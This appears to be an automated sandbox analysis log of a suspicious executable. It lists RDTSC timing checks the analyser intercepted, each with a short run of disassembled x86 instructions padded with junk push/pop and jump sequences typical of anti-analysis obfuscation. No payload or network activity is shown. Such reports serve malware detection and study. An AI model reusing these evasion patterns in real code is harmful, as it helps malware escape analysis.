Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79FCF second address: F7A04E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FF0F910250Ch 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f jnc 00007FF0F910250Ch 0x00000015 push 00000000h 0x00000017 mov ebx, dword ptr [ebp+122D1C4Eh] 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push edi 0x00000022 call 00007FF0F9102508h 0x00000027 pop edi 0x00000028 mov dword ptr [esp+04h], edi 0x0000002c add dword ptr [esp+04h], 0000001Dh 0x00000034 inc edi 0x00000035 push edi 0x00000036 ret 0x00000037 pop edi 0x00000038 ret 0x00000039 xchg eax, esi 0x0000003a jmp 00007FF0F910250Eh 0x0000003f push eax 0x00000040 pushad 0x00000041 pushad 0x00000042 pushad 0x00000043 popad 0x00000044 jmp 00007FF0F9102516h 0x00000049 popad 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A04E second address: F7A052 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F772C9 second address: F772CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7736C second address: F77370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C909 second address: F7C90D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C90D second address: F7C911 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7D869 second address: F7D86D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CA64 second address: F7CA68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CA68 second address: F7CA6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CA6C second address: F7CA72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7DA64 second address: F7DB2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F910250Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007FF0F9102508h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 add dword ptr [ebp+1245787Fh], eax 0x0000002c push dword ptr fs:[00000000h] 0x00000033 push 00000000h 0x00000035 push esi 0x00000036 call 00007FF0F9102508h 0x0000003b pop esi 0x0000003c mov dword ptr [esp+04h], esi 0x00000040 add dword ptr [esp+04h], 00000019h 0x00000048 inc esi 0x00000049 push esi 0x0000004a ret 0x0000004b pop esi 0x0000004c ret 0x0000004d jmp 00007FF0F9102514h 0x00000052 mov dword ptr fs:[00000000h], esp 0x00000059 jmp 00007FF0F910250Ch 0x0000005e mov eax, dword ptr [ebp+122D081Dh] 0x00000064 mov bh, 01h 0x00000066 sub dword ptr [ebp+122D337Ch], esi 0x0000006c push FFFFFFFFh 0x0000006e xor ebx, dword ptr [ebp+122D2AC2h] 0x00000074 or ebx, dword ptr [ebp+122D2A42h] 0x0000007a nop 0x0000007b push esi 0x0000007c push ebx 0x0000007d jmp 00007FF0F9102518h 0x00000082 pop ebx 0x00000083 pop esi 0x00000084 push eax 0x00000085 jng 00007FF0F9102527h 0x0000008b pushad 0x0000008c push eax 0x0000008d push edx 0x0000008e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CB37 second address: F7CB5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740868h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7EB3B second address: F7EB5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FF0F9102513h 0x0000000a popad 0x0000000b push eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7F99D second address: F7F9A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88D79 second address: F88D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88D7D second address: F88D81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88663 second address: F88669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88669 second address: F8866D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8866D second address: F88678 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88678 second address: F88680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8891E second address: F88924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88924 second address: F88932 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF0F8740856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C2BE second address: F8C2C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C2C4 second address: F8C2C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92ACE second address: F92AD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92AD2 second address: F92AD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92AD8 second address: F92AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF0F9102515h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92AF3 second address: F92B1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF0F874085Dh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jmp 00007FF0F874085Ah 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DD6F second address: F2DD84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FF0F9102510h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DD84 second address: F2DD8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DD8C second address: F2DDAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F910250Bh 0x00000007 jmp 00007FF0F9102510h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92105 second address: F92120 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007FF0F8740862h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92120 second address: F9212C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jbe 00007FF0F9102506h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9227B second address: F9227F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9227F second address: F92285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92590 second address: F92594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F926E8 second address: F926EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F926EC second address: F92703 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF0F8740856h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007FF0F8740858h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98B70 second address: F98B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0F910250Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98B82 second address: F98B8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98B8D second address: F98B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98B93 second address: F98BA4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007FF0F8740856h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F97962 second address: F97966 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F97966 second address: F9796C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9796C second address: F979B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF0F910250Eh 0x0000000b jng 00007FF0F910250Ah 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 pushad 0x00000017 push ecx 0x00000018 push edx 0x00000019 pop edx 0x0000001a pushad 0x0000001b popad 0x0000001c pop ecx 0x0000001d pushad 0x0000001e jmp 00007FF0F910250Fh 0x00000023 jl 00007FF0F9102506h 0x00000029 popad 0x0000002a pushad 0x0000002b jnp 00007FF0F9102506h 0x00000031 pushad 0x00000032 popad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F97B17 second address: F97B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FF0F8740856h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9860E second address: F98614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98614 second address: F98624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF0F8740856h 0x0000000a popad 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98624 second address: F9862A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9862A second address: F98631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98631 second address: F98638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B500 second address: F1B504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9E61C second address: F9E622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9E622 second address: F9E628 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9E628 second address: F9E676 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F9102515h 0x00000007 je 00007FF0F9102531h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9E676 second address: F9E6B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FF0F874085Fh 0x0000000d jg 00007FF0F8740856h 0x00000013 popad 0x00000014 pushad 0x00000015 jl 00007FF0F8740856h 0x0000001b push edx 0x0000001c pop edx 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FF0F8740867h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2FF7 second address: FA3037 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F9102519h 0x00000007 jmp 00007FF0F9102510h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF0F910250Bh 0x00000015 jne 00007FF0F9102506h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA5C20 second address: FA5C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0F8740863h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA9BDB second address: FA9BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F645DD second address: F645E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F645E3 second address: F645E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6479C second address: F647A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F647A0 second address: F647D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FF0F910250Fh 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007FF0F910250Dh 0x00000015 mov eax, dword ptr [eax] 0x00000017 pushad 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64927 second address: F6492B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6492B second address: F64931 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F650AB second address: F650C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740861h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F650C0 second address: F65108 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF0F9102508h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D229Fh], edi 0x00000013 push 0000001Eh 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007FF0F9102508h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f push eax 0x00000030 jmp 00007FF0F910250Ch 0x00000035 pop ecx 0x00000036 nop 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65108 second address: F6510C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6510C second address: F65121 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F910250Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65121 second address: F65127 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F653AF second address: F653E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 jne 00007FF0F910251Fh 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007FF0F9102506h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F653E1 second address: F65425 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740863h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007FF0F8740867h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 jmp 00007FF0F874085Bh 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65580 second address: F4D442 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jc 00007FF0F910251Ch 0x0000000e jmp 00007FF0F9102516h 0x00000013 js 00007FF0F910250Ch 0x00000019 jnp 00007FF0F9102506h 0x0000001f popad 0x00000020 nop 0x00000021 jc 00007FF0F910250Ch 0x00000027 adc ecx, 6C2D3E34h 0x0000002d call dword ptr [ebp+122D1D6Fh] 0x00000033 push ebx 0x00000034 pushad 0x00000035 jmp 00007FF0F9102512h 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA6A6 second address: FAA6AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA6AC second address: FAA6B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA6B2 second address: FAA6BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA6BC second address: FAA6C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA6C2 second address: FAA6DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF0F874085Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA6DD second address: FAA6E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA6E1 second address: FAA6EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA6EB second address: FAA6EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA6EF second address: FAA6FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA82E second address: FAA832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA832 second address: FAA836 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADC44 second address: FADC49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD6BB second address: FAD6D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F874085Dh 0x00000007 push esi 0x00000008 jng 00007FF0F8740856h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD999 second address: FAD9C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FF0F9102519h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD9C1 second address: FAD9C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD9C5 second address: FAD9D1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jne 00007FF0F9102506h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD9D1 second address: FADA0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740867h 0x00000007 jmp 00007FF0F874085Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jo 00007FF0F8740856h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jng 00007FF0F8740856h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADA0E second address: FADA12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB0025 second address: FB002B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
